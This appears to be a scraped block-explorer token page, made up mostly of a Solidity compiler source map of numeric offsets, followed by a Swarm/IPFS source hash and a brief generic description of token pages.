4864:218;;4884:59;4914:1;4905:10;;4928:5;;;4952:130;4989:3;4979:8;4976:17;4973:43;;;4996:18;;:::i;:::-;-1:-1:-1;;5052:1:1;5038:16;;5067:5;;4864:218;;5166:2;5156:8;5153:16;5147:3;5141:4;5138:13;5134:36;5128:2;5118:8;5115:16;5110:2;5104:4;5101:12;5097:35;5094:77;5091:159;;;-1:-1:-1;5203:19:1;;;5235:5;;5091:159;5282:34;5307:8;5301:4;5282:34;:::i;:::-;5352:6;5348:1;5344:6;5340:19;5331:7;5328:32;5325:58;;;5363:18;;:::i;:::-;5401:20;;4621:806;-1:-1:-1;;;4621:806:1:o;5432:140::-;5490:5;5519:47;5560:4;5550:8;5546:19;5540:4;5519:47;:::i;5577:168::-;5650:9;;;5681;;5698:15;;;5692:22;;5678:37;5668:71;;5719:18;;:::i;5750:347::-;5952:2;5934:21;;;5991:2;5971:18;;;5964:30;6030:25;6025:2;6010:18;;6003:53;6088:2;6073:18;;5750:347::o;6102:184::-;6172:6;6225:2;6213:9;6204:7;6200:23;6196:32;6193:52;;;6241:1;6238;6231:12;6193:52;-1:-1:-1;6264:16:1;;6102:184;-1:-1:-1;6102:184:1:o;6578:277::-;6645:6;6698:2;6686:9;6677:7;6673:23;6669:32;6666:52;;;6714:1;6711;6704:12;6666:52;6746:9;6740:16;6799:5;6792:13;6785:21;6778:5;6775:32;6765:60;;6821:1;6818;6811:12;7916:251;7986:6;8039:2;8027:9;8018:7;8014:23;8010:32;8007:52;;;8055:1;8052;8045:12;8007:52;8087:9;8081:16;8106:31;8131:5;8106:31;:::i;9093:306::-;9181:6;9189;9197;9250:2;9238:9;9229:7;9225:23;9221:32;9218:52;;;9266:1;9263;9256:12;9218:52;9295:9;9289:16;9279:26;;9345:2;9334:9;9330:18;9324:25;9314:35;;9389:2;9378:9;9374:18;9368:25;9358:35;;9093:306;;;;;:::o;11597:125::-;11662:9;;;11683:10;;;11680:36;;;11696:18;;:::i;12079:217::-;12119:1;12145;12135:132;;12189:10;12184:3;12180:20;12177:1;12170:31;12224:4;12221:1;12214:15;12252:4;12249:1;12242:15;12135:132;-1:-1:-1;12281:9:1;;12079:217::o;12301:128::-;12368:9;;;12389:11;;;12386:37;;;12403:18;;:::i;12566:127::-;12627:10;12622:3;12618:20;12615:1;12608:31;12658:4;12655:1;12648:15;12682:4;12679:1;12672:15;12698:980;12960:4;13008:3;12997:9;12993:19;13039:6;13028:9;13021:25;13065:2;13103:6;13098:2;13087:9;13083:18;13076:34;13146:3;13141:2;13130:9;13126:18;13119:31;13170:6;13205;13199:13;13236:6;13228;13221:22;13274:3;13263:9;13259:19;13252:26;;13313:2;13305:6;13301:15;13287:29;;13334:1;13344:195;13358:6;13355:1;13352:13;13344:195;;;13423:13;;-1:-1:-1;;;;;13419:39:1;13407:52;;13514:15;;;;13479:12;;;;13455:1;13373:9;13344:195;;;-1:-1:-1;;;;;;;13595:32:1;;;;13590:2;13575:18;;13568:60;-1:-1:-1;;;13659:3:1;13644:19;13637:35;13556:3;12698:980;-1:-1:-1;;;12698:980:1:o

Swarm Source

ipfs://152a8de283e3d4ac36bc136b9f5ae9fa807c0dc5bce44f02549f180cdc2ffaa9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.